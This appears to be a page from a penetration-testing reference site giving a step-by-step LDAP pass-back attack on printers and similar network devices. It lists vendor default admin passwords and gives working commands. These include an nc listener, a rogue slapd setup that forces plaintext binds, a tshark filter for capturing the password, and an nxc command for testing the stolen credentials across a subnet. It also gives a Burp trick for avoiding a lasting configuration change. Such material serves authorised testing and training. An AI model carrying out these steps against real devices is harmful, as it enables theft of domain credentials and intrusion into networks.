Skip to content
HackIndex logo

HackIndex

LDAP Pass-Back Attack – Credential Capture via Rogue Server

4 min read Jul 10, 2026

Network devices — printers, scanners, copiers, badge readers, monitoring appliances — are commonly configured to authenticate against LDAP using a service account to support features like scan-to-email, address book lookup, and card-based login. The LDAP server address is configurable through the device's web admin panel. If you can access that panel (often with default credentials), you can redirect the LDAP server address to your own machine. The device then authenticates to you instead of the DC, handing over the service account credentials in plaintext.

These service accounts are frequently over-privileged — Domain Admin membership for printer service accounts is common in real environments.

Step 1 – Access the Device Admin Panel

Locate the device's web interface. Common ports are 80, 443, and 8080. Default credentials vary by vendor:

Vendor

Username

Password

Ricoh

admin

blank

HP

admin

admin or blank

Canon

ADMIN

canon

Epson

EPSONWEB

admin

Xerox

admin

1111 or admin

Konica Minolta

admin

admin or 1234

If default credentials fail, check the device model number and look up the factory default in the vendor manual.

Step 2 – Locate and Modify the LDAP Server Setting

Navigate to the LDAP or network authentication configuration. The path varies by vendor but is typically under:

  • Ricoh: Device Management → Configuration → LDAP Server

  • HP: Networking → LDAP Server

  • Canon: Network Settings → LDAP Server Settings

  • Xerox: Properties → Connectivity → LDAP

Replace the existing LDAP server IP with your attacker IP ($LHOST). Keep the port as 389. Save the configuration.

Step 3 – Capture with nc

For devices using simple LDAP bind (cleartext), a plain nc listener catches the credentials:

┌──(kali㉿kali)-[~]
└─$ sudo nc -lvnp 389

Trigger the authentication by clicking the "Test Connection" button in the device's LDAP settings, or by initiating a scan or address book lookup that requires LDAP. The device connects to your listener and sends the bind DN and password in cleartext.

Sample output:

0`0
 objectclass0supportedCapabilities
dc=corp,dc=local\svcprint
Password123!

The bind DN and password appear in the raw LDAP bind request. The password is in plaintext.

Step 4 – Capture with a Rogue LDAP Server

Many devices negotiate SASL authentication rather than simple bind. A plain nc listener receives only a negotiation attempt and no credentials. In this case, configure a rogue OpenLDAP server that accepts only PLAIN and LOGIN authentication methods — this downgrades the connection and forces the device to send credentials in cleartext.

Install slapd:

┌──(kali㉿kali)-[~]
└─$ sudo apt install slapd ldap-utils -y
┌──(kali㉿kali)-[~]
└─$ sudo dpkg-reconfigure slapd

During reconfiguration set:

  • DNS domain: your attacker domain or any placeholder

  • Organisation: anything

  • Admin password: anything

  • Database: MDB

  • Remove database on purge: No

  • Move old database: Yes

Force the server to accept only PLAIN authentication by editing /etc/ldap/slapd.d/ or creating an LDIF:

auth.ldif

dn: cn=config
changetype: modify
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcred
┌──(kali㉿kali)-[~]
└─$ sudo ldapmodify -Y EXTERNAL -H ldapi:// -f auth.ldif
┌──(kali㉿kali)-[~]
└─$ sudo systemctl restart slapd

Now capture with tshark, filtering for LDAP simple bind requests:

┌──(kali㉿kali)-[~]
└─$ sudo tshark -i eth0 -f "port 389" -Y "ldap.protocolOp == 0 && ldap.simple" -e ldap.name -e ldap.simple -Tjson

Trigger the device to authenticate. The output returns the bind DN in ldap.name and the plaintext password in ldap.simple.

What You Get

The captured credentials are the service account the device uses to authenticate to AD. Test them immediately:

┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP/24 -u $USER -p $PASSWORD -d $DOMAIN

Even a non-admin domain account gives you a foothold for LDAP enumeration, Kerberoasting, AS-REP Roasting, and lateral movement via password reuse.

Burp-Based Redirect Without Changing Device Config

On some devices, the LDAP test connection can be intercepted and modified in transit via Burp Suite without permanently changing the device configuration. Intercept the POST request from the admin panel's test button, modify the serverName or ldapServer parameter to your attacker IP, and forward. This avoids leaving a configuration change on the device.

References